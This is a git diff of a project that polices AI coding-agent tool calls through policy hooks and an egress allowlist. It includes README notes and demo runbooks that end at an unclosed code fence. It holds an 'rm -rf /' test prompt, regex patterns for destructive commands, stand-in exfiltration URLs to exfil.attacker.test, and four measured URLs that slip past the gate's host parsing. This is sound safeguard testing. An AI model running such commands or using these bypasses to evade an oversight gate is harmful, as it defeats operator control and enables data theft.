diff --git a/.claude/settings.json b/.claude/settings.json index 6f3fb757..de5a218a 100644 --- a/.claude/settings.json +++ b/.claude/settings.json @@ -2,7 +2,7 @@ "hooks": { "PreToolUse": [ { - "matcher": "^Bash$", + "matcher": "^(Bash|WebFetch)$", "hooks": [ { "type": "command", diff --git a/README.md b/README.md index 42873a28..5ff476e7 100644 --- a/README.md +++ b/README.md @@ -39,7 +39,7 @@ This repository shows the other shape. A host implements [ACS](https://github.co | A modification this host cannot apply is refused, and the refusal actually withholds | `modified_content`, and a redaction that never reaches the leaf this gate projects, both become `decision: block` **plus** a shape-preserving `updatedToolOutput` — `block` alone suppresses nothing once the tool has run ([`packages/host-adapter/test/validate-decision.test.ts`](packages/host-adapter/test/validate-decision.test.ts), and the runbook's captures) | | The handshake declares exactly what the Guardian enforces — so a new gate cannot be added without the wire saying so | A candidate envelope for every method `mapping.yaml` maps is driven through a live Guardian, and the set it does not answer `method_not_dispatched` for must equal the ServerHello's `methods_evaluated` — equality in both directions, since over-declaring claims enforcement that does not exist ([`test/handshake-declares-what-it-evaluates.test.ts`](test/handshake-declares-what-it-evaluates.test.ts)) | -What V4 does **not** deliver, stated here because the demo is easy to over-read: the redaction reaches the model **unexplained**. The hookmap's `modify` entry carries a reason field and it works, but the pinned bundle's redaction verdict sends no text for it — `mapping.yaml` sources `reasoning` from `verdict.message` and `policy/lib/redact.rego` emits none. Four more findings V4 measured and recorded rather than fixed are listed in [`slices/v4/README.md`](slices/v4/README.md). +What V4 does **not** deliver, stated here because the demo is easy to over-read: **AGT sends no text of its own for a redaction.** The pinned bundle's `policy/lib/redact.rego` emits no `message`, so nothing the policy engine says about that decision reaches the model. What the model reads instead is a sentence composed on this side of the boundary: `mapping.yaml`'s `field_synthesis.reasoning` no longer copies `verdict.message` verbatim but renders a template plus a per-rule summary, so a redaction now arrives explained — *"A secret in this step's arguments was replaced before it ran. Policy: redaction_applied, from AGT's stock bundle (agt_stock)."* — with the rule named and attributed, and with no detail clause because AGT supplied none. That composition landed after V4, which is why this paragraph used to say the redaction reached the model unexplained; the captured decision is in [`docs/demos/v9-runbook.md`](docs/demos/v9-runbook.md). Four more findings V4 measured and recorded rather than fixed are listed in [`slices/v4/README.md`](slices/v4/README.md). **Delivered in V5** — a second host, OpenCode, governed by the same Guardian and policy. @@ -68,6 +68,18 @@ What V5 does **not** deliver: `modifications.modified_content` still has no buil What V8 does **not** deliver, stated here because a watch invites a stronger reading than it can carry: it never fails a build. `agent-control-specification` is pinned at exactly `0.3.1-beta.0` with no caret, `agt.lock` pins a ref, and `verify:pin` proves `policy/lib` is byte-identical to it, so nothing on AGT's `main` reaches this repository until a human bumps the pin — forward compatibility is bought by pinning, not by watching. And the tools-against-registry line does not catch a gate recased to the *other* host's own registered spelling: `policy/manifest.yaml` registers one tool name per host, deliberately, so a name valid for one host is still a registered name on the other's gate. Full statement, and why closing that needs a document this repository does not have, in [`slices/v8/README.md`](slices/v8/README.md). +**Delivered in V9** — a second tool shape, and a fourth AGT gate class reached two different ways. + +| Claim | How it is demonstrated | +|---|---| +| R2.1 — three of AGT's nine stock gate classes were reachable before this slice (`patterns`, `redact`, `ifc`); `egress` is the fourth, and the half of it that covers `WebFetch` needed **one `policy/lib/data.json` key and no code at all** — AGT's own gate declares `snapshot.tool_call.args.url` as its first destination path, and the assembler has landed ACS arguments there since long before this slice | [`docs/demos/v9-runbook.md`](docs/demos/v9-runbook.md) has the one-key diff, both `WebFetch` verdicts, and the `verify:pin` run showing no `.rego` changed ([`packages/guardian/test/server.test.ts`](packages/guardian/test/server.test.ts) drives all six coexistence rows through a live Guardian) | +| The same gate decides a shell command, from a destination the **Guardian** originates — ACS's own `raw_command` on the wire, extracted to a host, answered at `["annotations", "egress", "destination"]`, one of the five paths that same gate declares | `annotateEgressDestination` ([`packages/guardian/src/annotate-egress.ts`](packages/guardian/src/annotate-egress.ts)) plus a manifest `annotators:` block; the runbook captures the destination arriving in AGT's own policy input, not merely the decision that came back ([`packages/guardian/test/annotate-egress.test.ts`](packages/guardian/test/annotate-egress.test.ts)) | +| Two tools whose arguments disagree about their names are governed by one manifest with one `policy_target` | The Guardian copies each tool's own argument into one normalised snapshot leaf, and `mapping.yaml`'s `policy_target_argument.by_tool` is the single declaration of which argument that is — read twice, once to build the snapshot and once to key a `transform`'s `parameter_overrides`, so the two cannot disagree ([`test/path-dialects.test.ts`](test/path-dialects.test.ts)) | + +**What was configuration and what was code.** Configuration: one `data.json` key (`cfg.egress.allowlist`), two `tools:` registrations per manifest, a matcher widened in `settings.json`, and a `raw_command` path in each hookmap. Code: the normalised policy-target leaf and the per-tool argument table behind it, the destination extractor, and a bridge that is never constructed without an annotator dispatcher. Zero Rego, and `policy/lib` still byte-identical upstream under `bun run verify:pin`. + +What V9 does **not** deliver, stated because the demo's shape invites the opposite reading: a command the extractor cannot parse is **unexamined, not denied** — the gate is undefined when no destination resolves and the call falls through, so an obfuscated or novel egress form is allowed, captured in the runbook rather than asserted. Only the **request** gate's matcher widened; a fetch's output is not governed at all, and the assumption behind that is recorded and unassigned. And the manifest registry can say `WebFetch` is registered but never that `WebFetch` takes a `url` — the same limit V8 measured for hookmap `tools` entries. Full list in [`slices/v9/README.md`](slices/v9/README.md). + ## Layout ``` @@ -141,7 +153,11 @@ cp hosts/claude-code/settings.json .claude/settings.json This registers `hosts/claude-code/acs-hook.ts` against **two** of Claude Code's hook events, both running the same command: `PreToolUse` — the "one hook" of V1's name, which decides whether the call runs — and `PostToolUse` (added by V4), which sees what the call produced and can redact it before the model does. -Both entries are scoped to the `Bash` tool, and the matcher is written **anchored**: `^Bash$`, not `Bash`. That scopes the hook to a tool `policy/manifest.yaml` registers rather than intercepting every tool call. The anchor is load-bearing, and what it buys is that a question nobody here has verified stops mattering: `matcher` is a regular expression, so whether a bare `Bash` would *also* select `BashOutput` and `KillShell` depends on matching semantics this project has not measured — and `^Bash$` selects exactly one tool either way, `Bash`. Precisely, because the sentence before it names the file: `policy/manifest.yaml` registers **three** tools, `Bash`, `run_shell`, and `bash`, and only the first is a name Claude Code ever sends. `run_shell` is AGT's own stock example name, kept for the bridge and Guardian fixtures written against it; `bash` (lowercase) is OpenCode's own real tool name, registered for V5's second host below — the manifest says so at `policy/manifest.yaml:88-121`. [`docs/demos/v1-runbook.md`](docs/demos/v1-runbook.md) Step 2 states what the unanchored form would have exposed, and what the second entry changes about a live session. +The two entries are scoped to different tool sets, and both matchers are written **anchored**: `PreToolUse` is `^(Bash|WebFetch)$` and `PostToolUse` is `^Bash$`. That scopes each hook to tools `policy/manifest.yaml` registers rather than intercepting every tool call. The anchor is load-bearing, and what it buys is that a question nobody here has verified stops mattering: `matcher` is a regular expression, so whether a bare `Bash` would *also* select `BashOutput` and `KillShell` depends on matching semantics this project has not measured — and the anchored forms select exactly the named tools either way. Precisely, because the sentence before it names the file: `policy/manifest.yaml` registers **five** tools, `Bash`, `run_shell`, `bash`, `WebFetch` and `webfetch`, and only `Bash` and `WebFetch` are names Claude Code ever sends. `run_shell` is AGT's own stock example name, kept for the bridge and Guardian fixtures written against it; `bash` and `webfetch` (lowercase) are OpenCode's own real tool names, registered for V5's second host below — the manifest says so in its own `tools:` block. **The two matchers differ deliberately, and V9 is why**: a `WebFetch` result carries no `stdout`, which is the one output path the hookmap declares for `PostToolUse`, so widening the result gate would buy a fail-open on every fetch result in exchange for nothing — no stock gate reads a fetch's output. [`docs/demos/v1-runbook.md`](docs/demos/v1-runbook.md) Step 2 states what the unanchored form would have exposed, and what the second entry changes about a live session; [`docs/demos/v9-runbook.md`](docs/demos/v9-runbook.md) has the measurement behind the asymmetry. + +**What copying this file turns on, beyond the destructive-command demo.** Since V9 the stock `egress` gate is live from one `policy/lib/data.json` key, and it decides about **shell commands as well as fetches**. The Guardian's extractor takes the first absolute `http(s)` URL in a command line and has no model of whether the command actually reaches it, and the shipped allowlist has one reachable entry — so with this `settings.json` installed, a `Bash` step whose text contains any other URL is denied, including one that reaches nothing. Measured against the shipped configuration: `git clone https://github.com/openai/whisper`, `pip install -i https://pypi.org/simple requests` and `echo 'docs at https://example.org/readme'` all deny with `egress_destination_not_allowed`; `npm install` and `ls -la` allow. That direction is deliberate — a gate whose misses are already allows should not also guess at shell semantics — but it is what an operator meets first, so it is said here rather than only in the demo notes. `policy/lib/data.json`'s `cfg.egress.allowlist` is the one key that widens it, and [`docs/demos/v9-runbook.md`](docs/demos/v9-runbook.md) §5 carries the captured rows and why neither is re-tuned. + +**The gate's own URL handling is a second measured direction, and after V9 the two routes do not answer alike.** AGT's vendored `host_of()` does not parse a URL — it splits strings — so it reads a userinfo, a query or a fragment as the host. On a shell command the Guardian chooses what to hand it: it now hands over a parsed **origin** for any URL whose authority no parser could read two ways, and `https://unresolved.invalid` for every other URL — a name RFC 2606 reserves so that it can never resolve, which the gate therefore must deny. Measured over **eighteen** URLs through a live Guardian, the shell route denies all **fourteen** that reach an off-allowlist host and allows all **four** that reach an allowlisted one. On a fetch there is no such seam: `args.url` reaches that gate with nothing in between, so **four of those same fourteen are allowed** — `https://docs.anthropic.com:pw@exfil.attacker.test/steal`, `https://metadata?x=@docs.anthropic.com`, `https://internal-api#@docs.anthropic.com` and `https://evil?x=@docs.anthropic.com`, which reach `exfil.attacker.test`, `metadata`, `internal-api` and `evil` respectively. Closing those would mean editing a `.rego`, which this project does not do. **So the two routes reach one gate and not one answer**, and the fetch route is the weaker of the two. **5. Run Claude Code with the hook.** @@ -149,7 +165,7 @@ Both entries are scoped to the `Bash` tool, and the matcher is written **anchore claude ``` -Ask it to run a destructive shell command, e.g. *"Use the Bash tool to run exactly this command: `rm -rf /`"*. The tool call is blocked, with the real policy-engine reasoning surfaced in the transcript — not a canned string, the actual text AGT's stock policy engine produces when it evaluates the pattern it matched. That pattern list is this project's own configuration (`policy/lib/data.json`), not something AGT ships — the stock bundle carries no shell/command patterns of its own, only generic PII regexes; what's stock is the *deciding module* (`agt.patterns`) and the priority chain that consults it, per R2.1 (zero Rego authored). See the framing note in [`docs/demos/v1-runbook.md`](docs/demos/v1-runbook.md) before narrating this demo. Ask for something harmless (`ls -la`) in the same session and it runs normally. Full walkthrough and what to watch for: [`docs/demos/v1-runbook.md`](docs/demos/v1-runbook.md); with the Inspector running you also see the envelopes as they cross the wire. Since V4 registered the result gate, an **allowed** `Bash` call produces four of them — a `steps/toolCallRequest` and its decision before the command runs, then a `steps/toolCallResult` and its decision after — while a denied one produces the first pair only, because the command never runs. +Ask it to run a destructive shell command, e.g. *"Use the Bash tool to run exactly this command: `rm -rf /`"*. The tool call is blocked, with the real policy-engine reasoning surfaced in the transcript — not a canned string, the actual text AGT's stock policy engine produces when it evaluates the pattern it matched. That pattern list is this project's own configuration (`policy/lib/data.json`), not something AGT ships — the stock bundle carries no shell/command patterns of its own, only generic PII regexes; what's stock is the *deciding module* (`agt.patterns`) and the priority chain that consults it, per R2.1 (zero Rego authored). See the framing note in [`docs/demos/v1-runbook.md`](docs/demos/v1-runbook.md) before narrating this demo. Ask for something harmless (`ls -la`) in the same session and it runs normally — though "harmless" is now narrower than it reads: per the note above step 5, a command that merely *mentions* an off-allowlist URL is denied by the egress gate too, `git clone https://github.com/openai/whisper` included. Full walkthrough and what to watch for: [`docs/demos/v1-runbook.md`](docs/demos/v1-runbook.md); with the Inspector running you also see the envelopes as they cross the wire. Since V4 registered the result gate, an **allowed** `Bash` call produces four of them — a `steps/toolCallRequest` and its decision before the command runs, then a `steps/toolCallResult` and its decision after — while a denied one produces the first pair only, because the command never runs. Watch the Inspector, not just the transcript, if the deny does not appear: the model may decline to issue the tool call at all on its own judgment, in which case no hook fires and the envelope log stays empty. And if you are scripting this rather than watching it, use `echo rm -rf /` as the payload — it matches the same pattern at offset 5 and is inert if it ever did execute, whereas an unattended `rm -rf /` is only safe for as long as the hook works, which is the thing under test. @@ -222,7 +238,7 @@ tool call. | `ACS_ON_DECISION_FAILURE` | `proceed` | The failure posture this deployment declares in its ServerHello — what a host should do when *no decision arrives at all*. `proceed` is the ACS default (R1.7, `handshake.json`'s own `default`); `deny` fails closed. Any other value **throws at startup** rather than falling back, because guessing which posture a typo meant is the silent bypass this project exists to remove | | `ACS_GUARDIAN_PORT` | `8787` | Port for the `POST /acs` JSON-RPC endpoint | | `ACS_GUARDIAN_HOST` | `127.0.0.1` | The interface the endpoint binds. Loopback by default because the wire is unauthenticated — no auth, no origin check, no request signing — so anything that can route to the port is both a policy oracle and a policy sink. Set it (`0.0.0.0`) only when a deployment genuinely needs a routable bind, and know that you are opting into that | -| `ACS_MANIFEST_PATH` | `policy/manifest.yaml` | The AGT manifest, which names the policy bundle and any annotators. `policy/manifest.drift.yaml` is the second one V3 added to make `warn` reachable | +| `ACS_MANIFEST_PATH` | `policy/manifest.yaml` | The AGT manifest, which names the policy bundle and any annotators. Since V9 the default manifest declares one — `egress`, wired to the request gate — and the Guardian supplies its dispatcher unconditionally rather than as an option, because a declared annotator nothing answers for denies **every** call in the deployment with `runtime_error:annotation_failed`, benign ones included. `policy/manifest.drift.yaml` is the second manifest, added by V3 to make `warn` reachable; it declares a `drift_score` annotator instead, which is why the drift demo passes its own | | `ACS_ENVELOPE_LOG` | `.acs/envelopes.jsonl` | Where the envelope log sink (S6) records every envelope crossing the wire, in both directions, before validation | | `ACS_SESSION_CONTEXT_LOG` | `.acs/session-context.jsonl` | Where the session-context log (V6) records one line per governed step — that session's hash-chain entry, which is what the Inspector renders as a chain and checks for breaks | diff --git a/docs/demos/v3-runbook.md b/docs/demos/v3-runbook.md index 7e59438d..abd18e16 100644 --- a/docs/demos/v3-runbook.md +++ b/docs/demos/v3-runbook.md @@ -107,7 +107,7 @@ every point in this narration except where a section is actively showing its own No edit needed — this is the tracked `policy/lib/data.json` exactly as committed. When V3 shipped that meant the destructive-command patterns alone; **since V4 the tracked file also carries a `redact` block**, of which the one the `transform` section below used to add is a subset — V4 -ships a second pattern beside it (`policy/lib/data.json:12-15`). Re-run against it, `ls -la` is still +ships a second pattern beside it (`policy/lib/data.json:17-20`). Re-run against it, `ls -la` is still the clean allow captured here — the redaction patterns match secrets, and this command carries none. @@ -267,7 +267,7 @@ The diff, as V3 captured it (against blob `2530d81`; V4's tracked file is `7130e `redact` block below is **a subset of what ships** there — V4 added a second pattern, `AKIA[0-9A-Z]{16}`, beside this one and put the array on a single line, so the tracked block is neither this text nor this formatting. Read the diff as the edit V3 actually made, not as a -quotation of the current file; `policy/lib/data.json:12-15` is the current file): +quotation of the current file; `policy/lib/data.json:17-20` is the current file): ```diff diff --git a/policy/lib/data.json b/policy/lib/data.json @@ -421,6 +421,52 @@ carries a non-empty `policy_references` and the second carries none at all — t presence/absence is the entire signal that a policy fired versus stayed silent, per R1.2 and `mapping.yaml`'s `warn: { decision: allow, require_policy_references: true }`. +> **Re-run (V9, slice #28) — the verdict is unchanged, and one field of the capture is not.** +> V9 moved `policy/manifest.drift.yaml`'s `policy_target` — and its annotation's `from` — off +> `$.tool_call.args.command` and onto the shared normalised leaf, because a target naming one +> tool's own argument denies every call by a tool that has no such argument. The drift gate reads +> an annotation rather than the target, so the verdict *should* be unaffected; "should be" is not +> this repository's standard, so it was re-run rather than reasoned about. +> +> Same script above with its port changed to `8792`, same `drift.warn_threshold: 0.5` edit to +> `policy/lib/data.json`, same `ls -la`, and the `request_id` deliberately set to this section's +> own so the two blocks are comparable. The JSON-RPC `id` is the client's own and was not matched; +> it is `1` below and this section's `request_id` above. Captured against commit `16a3ab0`: +> +> ```json +> { +> "jsonrpc": "2.0", +> "id": 1, +> "result": { +> "type": "final", +> "acs_version": "0.1.0", +> "request_id": "64144466-0a20-4564-8e26-92c76e13a597", +> "decision": "allow", +> "reasoning": "This step was allowed, but flagged: the agent's behaviour drifted from its baseline. Policy: drift_detected, from AGT's stock bundle (agt_stock). AGT reported: drift_score 0.9 reached threshold 0.5.", +> "reason_codes": [ +> "drift_detected" +> ], +> "policy_references": [ +> { +> "policy_id": "agt_stock", +> "rule_id": "drift_detected" +> } +> ] +> } +> } +> ``` +> +> `decision`, `reason_codes` and `policy_references` are identical to the capture above, which is +> the whole of what the moved target could have broken. `reasoning` is not, and the cause is not +> V9: `mapping.yaml` no longer sources that field from `verdict.message` verbatim but composes it +> through `field_synthesis.reasoning`'s template and per-rule summaries. AGT's own sentence is +> still in there, at the end, word for word. That change landed after V8 and before V9 (commit +> `1534a59`); every `reasoning` string captured in this file predates it. +> +> The `ls -la` envelope also now carries `raw_command`, which V9 put on the wire. It changes +> nothing here — this manifest declares a `drift_score` annotator, not an `egress` one — and it is +> mentioned so the re-run's envelope is not mistaken for this section's original. + ## Both failure postures, live: kill the Guardian mid-session This drives `hosts/claude-code/acs-hook.ts` directly on stdin, the same mechanism diff --git a/docs/demos/v5-runbook.md b/docs/demos/v5-runbook.md index 92b483b6..e81b0b9a 100644 --- a/docs/demos/v5-runbook.md +++ b/docs/demos/v5-runbook.md @@ -38,8 +38,9 @@ always making the one choice this runbook needs it to make. **The manifest edit is the whole deployment-side change, and it is additive.** OpenCode reports its shell tool as `bash` (lowercase); Claude Code reports `Bash`. AGT resolves -`policy/manifest.yaml`'s fixed `pre_tool_call.policy_target` (`$.tool_call.args.command`) -**before any authored rule runs**, and a `tool_call.name` the manifest has not registered fails +`policy/manifest.yaml`'s fixed `pre_tool_call.policy_target` — which was `$.tool_call.args.command` +when this slice shipped — **before any authored rule runs**, and a `tool_call.name` the manifest has +not registered fails that resolution closed — `runtime_error:tool_unknown` for `bash` itself, `runtime_error:path_missing` for every other tool OpenCode can call. So `policy/manifest.yaml` and `policy/manifest.drift.yaml` each gained one `tools:` entry, `bash`, beside the existing `Bash`/`run_shell` — nothing removed, @@ -48,9 +49,26 @@ Rego authored, `policy/lib` byte-identical under `bun run verify:pin`, `data.agt unchanged, and zero lines changed in the Guardian, the bridge, or AGT — `bun run verify:zero-diff` proves that mechanically, captured near the end of this file. -**Both gates are scoped `tools: [bash]`, which makes the two hosts symmetric rather than -asymmetric.** Host #1 is `Bash`-only at both its hooks too, via the anchored `^Bash$` matcher in -`hosts/claude-code/settings.json`. An earlier note in this project's own planning claimed the +⚠️ *That target has moved since, and the sentence above is scoped to when this slice shipped rather +than rewritten, because the mechanism it explains is unchanged: AGT still resolves one fixed +`policy_target` per intervention point, before any rule runs, and an unregistered `tool_call.name` +still fails closed. What changed in V9 (slice #28) is which leaf that one target names. It is now +`$.tool_call.args.acs_policy_target` — a normalised leaf the Guardian writes — because a target +naming one tool's own argument denies every call by a tool that has no such argument, which is +exactly the `runtime_error:path_missing` this paragraph describes, reached from the other side. +`mapping.yaml`'s `policy_target_argument` table says which of each tool's own arguments is copied +into that leaf. See [`docs/demos/v9-runbook.md`](v9-runbook.md).* + +**Both gates carry a `tools:` scope, which makes the two hosts symmetric rather than asymmetric.** +When this slice shipped that scope was `tools: [bash]` at both gates, matching host #1, which was +`Bash`-only at both its hooks via the anchored `^Bash$` matcher in +`hosts/claude-code/settings.json`. ⚠️ *Both halves of that sentence are stale as of V9 (slice #28), +and the symmetry it describes survives the change: V9 widened each host's **request** gate to a +second tool and left each host's **result** gate alone. Today OpenCode's request gate declares +`tools: [bash, webfetch]` and its result gate `tools: [bash]`, while host #1's `PreToolUse` matcher +is `^(Bash|WebFetch)$` and its `PostToolUse` matcher is still `^Bash$`. The asymmetry is now +between the two gates rather than between the two hosts, and it is deliberate — see +[`docs/demos/v9-runbook.md`](v9-runbook.md).* An earlier note in this project's own planning claimed the *request* gate needed no such list, because its hookmap paths (`$.tool`, `$.args`) resolve whatever tool ran — true, and irrelevant: the manifest's policy target is checked independently of the hookmap, and an unscoped request gate would not govern every tool, it would **deny every tool diff --git a/docs/demos/v7-runbook.md b/docs/demos/v7-runbook.md index 7d71f1f1..1cdee909 100644 --- a/docs/demos/v7-runbook.md +++ b/docs/demos/v7-runbook.md @@ -201,8 +201,8 @@ bun run verify:pin # re-clones AGT and byte-diffs the pinned bundle — n ``` **`bun run verify:zero-diff` is deliberately not in the list above — it does not pass from -this HEAD, and that is not a V7 defect.** Captured real, run bare, exactly as a reader would -run it: +this HEAD, and that is not a V7 defect.** Captured real, run bare, from V7's own HEAD at the +time this file was written: ```bash $ bun run verify:zero-diff @@ -227,6 +227,20 @@ policy/lib/data.json error: script "verify:zero-diff" exited with code 1 ``` +**⚠️ That block is a record of a run, not an instruction — it no longer reproduces verbatim, and +the sentence above it used to imply it would.** Three things have moved, all of them after V7, +and none of them changes what the block is here to show. The script's failure message was +rewritten: it now opens *"the second host must cost zero changed lines in the Guardian, the AGT +bridge, or AGT itself — but these frozen paths changed:"* rather than *"R3.4 violated…"*. The +`base=` line cited below moved from line 15 to line 16. And later slices added entries under the +frozen paths, so the list is longer: run from this branch's HEAD the same command names +seventeen paths rather than thirteen, `hosts/claude-code/claude-code.hookmap.yaml` and +`mapping.yaml` among them. What still reproduces is the part this section is about — exit code +`1`, for the reason given next, and still not a defect of V7 or of any slice after it. Re-run it +and expect different wording and a longer list, never a pass. The block is left exactly as +captured rather than re-taken, because re-taking it would make it a record of a different run +under a heading about V7's. + Exit code `1`. The measured reason: `scripts/verify-zero-diff.sh:15` reads `base="${1:-slice/v4}"`, so a bare invocation always diffs HEAD against `slice/v4` — the base V5's own R3.4 proof was written against (R3.4: "Adding the second host requires zero new AGT diff --git a/docs/demos/v9-runbook.md b/docs/demos/v9-runbook.md new file mode 100644 index 00000000..0b7db307 --- /dev/null +++ b/docs/demos/v9-runbook.md @@ -0,0 +1,1159 @@ +# V9 demo runbook: one egress gate, reached two ways + +**The demo, in words.** Ask for a web fetch of a host the allowlist does not cover, and AGT's +stock `egress` gate denies it. Ask for the same destination over `curl`, and the same rule denies +again. One gate, one reason code, one unforked bundle — and two entirely different routes to it. + +**Two routes, and they are two claims rather than one.** On the fetch, the destination is already +on the ACS wire: the tool's own `url` argument, which the assembler unwraps into the snapshot, and +which is the **first** entry in the destination path list AGT's own gate declares. Nothing +translates and nothing is originated — the gate reads a field ACS already carries. On the shell +command, the destination is not on the wire at all: what the wire carries is a command line, and +turning that into a host is work the Guardian does. It answers at +`["annotations", "egress", "destination"]`, the last of the five paths the same gate declares. So +one half is *AGT's gate reading ACS's own field*, and the other is *AGT's gate reading something +this deployment originated*. A demo that showed only one of them would be claiming the other for +free. + +**"One gate" is not "one verdict", and §5 measures where the two routes part.** Because the shell +route originates its destination and the fetch route does not, the shell route can decline to answer +where the fetch route cannot. After this branch's final round it does, and the shell route is the +**stricter** of the two: it denies every adversarial shape §5 tests, while the fetch route allows +four of them, on a parse held byte-identical by `bun run verify:pin`. The two routes reach the same +gate; they do not reach the same answer. + +This runbook is written from real runs against this tree. **Nothing below is composed or +hand-edited: every block is pasted from an actual run.** + +## Which build produced these blocks + +Commit `16a3ab0`, the last commit of this slice's implementation. Every capture below was taken +against a Guardian started from that tree, on **port 8791** — its own port, not the default `8787` +— so nothing here can be a reading of a longer-lived process holding an older manifest. A Guardian +loads its manifest once, at construction; a capture taken against a stale one would show pre-slice +behaviour while claiming to demonstrate this slice. + +**Two subsections of §5 are later, and say so where they appear.** The blocks under *A URL the gate +itself mis-parses* and *Every shell command that mentions a URL* were captured during this branch's +final review rounds, against a Guardian started the same way from commit `ca4aa2e` of this tree, on +**port 8801**. They are the only blocks in this file taken from a different process, and they +measure changes to `annotateEgressDestination` that `16a3ab0` does not contain — which is exactly +why they are not presented as if they came from the run above. Section 2's policy-input block was +re-run against the same commit, because what lands at the annotation path changed with them. + +Those subsections have now been re-captured three times, once per generation of +`annotateEgressDestination`, and the file records only the current one. Earlier ports named in this +paragraph's history — 8791, 8799 — belong to processes that are gone; if a block below names a port, +it is 8791 for §1–§4's wire captures and 8801 for the §5 subsections and §2's policy-input block, +with nothing in between. + +## Prerequisites + +- `bun` installed, `bun install` run once at the repo root. +- This repo cloned with its submodule. +- `curl` and `jq`. +- For the one block the ACS wire cannot carry (the policy input itself), a way to run a short + `.ts` file with `bun run` from the repo root. That block says so where it appears. +- The tracked `policy/lib/data.json` and `policy/manifest.yaml` exactly as committed. **No file is + edited between sections of this runbook** — unlike the V3 runbook, which had to swap config + documents between verdicts, everything here comes from one committed configuration. + +## Setup common to every section + +```bash +ACS_GUARDIAN_PORT=8791 ACS_ENVELOPE_LOG=.acs/v9-runbook.jsonl \ + ACS_SESSION_CONTEXT_LOG=.acs/v9-runbook-context.jsonl bun run guardian +``` + +Captured: + +``` +$ bun run packages/guardian/src/main.ts +Guardian listening at http://localhost:8791/acs +Envelope log: .acs/v9-runbook.jsonl +Session context log: .acs/v9-runbook-context.jsonl +Failure posture: proceed (override with ACS_ON_DECISION_FAILURE=deny) +``` + +Every `curl` below was run against that process. All ten requests were then re-run against a +second Guardian process started the same way from the same tree, and the two captured outputs were +compared with `diff`: identical. Every `request_id` is a fixed literal in the request body, so +byte-identity is a meaningful comparison here rather than an accident of formatting. + +## 1. The half with no code at all + +`policy/lib/egress.rego` declares where it will look for a destination, and its **first** entry is +the fetch tool's own argument: + +```rego +default_destination_paths := [ + ["snapshot", "tool_call", "args", "url"], + ["snapshot", "tool_call", "args", "endpoint"], + ["snapshot", "tool_call", "args", "host"], + ["snapshot", "tool_call", "args", "domain"], + ["annotations", "egress", "destination"], +] +``` + +`assemblePreToolCallSnapshot` already unwraps every ACS `arguments..value` into +`tool_call.args.`, and did so before this slice began — the loop is there unchanged in +`be5ab38`. So for a tool whose ACS arguments name a `url`, the wire and the gate already agree, +and there is nothing in between them to write. + +**The whole of what turned this gate on:** + +```bash +git diff be5ab38..HEAD -- policy/lib/data.json +``` + +```diff +diff --git a/policy/lib/data.json b/policy/lib/data.json +index 1787ea9..bcd7e25 100644 +--- a/policy/lib/data.json ++++ b/policy/lib/data.json +@@ -2,10 +2,15 @@ + "agt": { + "defaults": { + "config": { ++ "egress": { ++ "allowlist": ["*.anthropic.com", "docs.example.com"] ++ }, + "patterns": { + "patterns": [ + "(?i)rm\\s+-[a-z]*r[a-z]*f[a-z]*\\s+/(?:\\s|$)", +- "(?i)rm\\s+-[a-z]*f[a-z]*r[a-z]*\\s+/(?:\\s|$)" ++ "(?i)rm\\s+-[a-z]*f[a-z]*r[a-z]*\\s+/(?:\\s|$)", ++ "(?i)rm\\s+-[a-z]*r[a-z]*f[a-z]*\\s+\\.\\.?/?(?:\\s|$)", ++ "(?i)rm\\s+-[a-z]*f[a-z]*r[a-z]*\\s+\\.\\.?/?(?:\\s|$)" + ], + "reason": "destructive_shell_command_blocked" + }, +``` + +One key — the `egress` object. `be5ab38` is this slice's last commit before any code existed. + +The two `rm` patterns the same hunk shows being added are **not this slice's**: they arrived in a later +commit hardening the destructive-command list against a relative path, and they touch no gate this file +measures. They appear here only because they sit inside the same three lines of diff context. The block +is the real output of the command above it, so they are shown rather than trimmed. + +**The allowed fetch.** + +```bash +curl -s -X POST http://localhost:8791/acs \ + -H 'content-type: application/json' \ + -d '{"jsonrpc":"2.0","id":1,"method":"steps/toolCallRequest","params":{"acs_version":"0.1.0","request_id":"0a2f1c34-9d5e-4b71-8c62-1f0e7a5d3b91","timestamp":"2026-08-18T00:00:00Z","metadata":{"agent_id":"demo","session_id":"5c9a4d21-7e83-4f06-9b1d-2a6c8e4f0d75"},"payload":{"tool":{"name":"WebFetch"},"arguments":{"url":{"value":"https://docs.anthropic.com/x"}}}}}' | jq . +``` + +```json +{ + "jsonrpc": "2.0", + "id": 1, + "result": { + "type": "final", + "acs_version": "0.1.0", + "request_id": "0a2f1c34-9d5e-4b71-8c62-1f0e7a5d3b91", + "decision": "allow" + } +} +``` + +**The denied fetch.** Same command, same Guardian; only the `url` differs. + +```bash +curl -s -X POST http://localhost:8791/acs \ + -H 'content-type: application/json' \ + -d '{"jsonrpc":"2.0","id":2,"method":"steps/toolCallRequest","params":{"acs_version":"0.1.0","request_id":"1b3e2d45-8c6f-4a92-9d73-2e1f8b6c4a02","timestamp":"2026-08-18T00:00:00Z","metadata":{"agent_id":"demo","session_id":"5c9a4d21-7e83-4f06-9b1d-2a6c8e4f0d75"},"payload":{"tool":{"name":"WebFetch"},"arguments":{"url":{"value":"https://exfil.attacker.test/steal"}}}}}' | jq . +``` + +```json +{ + "jsonrpc": "2.0", + "id": 2, + "result": { + "type": "final", + "acs_version": "0.1.0", + "request_id": "1b3e2d45-8c6f-4a92-9d73-2e1f8b6c4a02", + "decision": "deny", + "reasoning": "This step was decided by AGT's stock policy bundle. Policy: egress_destination_not_allowed, from AGT's stock bundle (agt_stock). AGT reported: destination exfil.attacker.test not in allowlist [\"*.anthropic.com\", \"docs.example.com\"].", + "reason_codes": [ + "egress_destination_not_allowed" + ], + "policy_references": [ + { + "policy_id": "agt_stock", + "rule_id": "egress_destination_not_allowed" + } + ] + } +} +``` + +The allowlist AGT names in its own message is the one the diff above added, verbatim. The second +entry, `docs.example.com`, is deliberately inert: it is there so a reader can see the key is a +*list* and has an obvious slot to edit. + +**What this half is and is not, precisely.** *Deciding* about a fetch's destination cost no code: +the loop that unwraps `arguments..value` into `tool_call.args.` is present unchanged in +`be5ab38`, before a line of this slice existed, no Rego was authored, and the diff above is the +whole of what turned the gate on. *Getting a fetch call as far as being decided about* is a +different problem, and it is what this slice's code is for. Two things had to be true first, and +neither is egress-specific: `policy/manifest.yaml`'s `tools:` registry has to name `WebFetch`, or +AGT fails the call closed on `runtime_error:tool_unknown` before any rule runs; and +`mapping.yaml`'s `policy_target_argument.by_tool` has to say which of that tool's arguments the +shared policy-target leaf is copied from. Measured — a second Guardian, started from the same tree +and the same manifest but pointed at a copy of `mapping.yaml` with the two fetch rows deleted, so +the tool falls back to `default: command`: + +```json 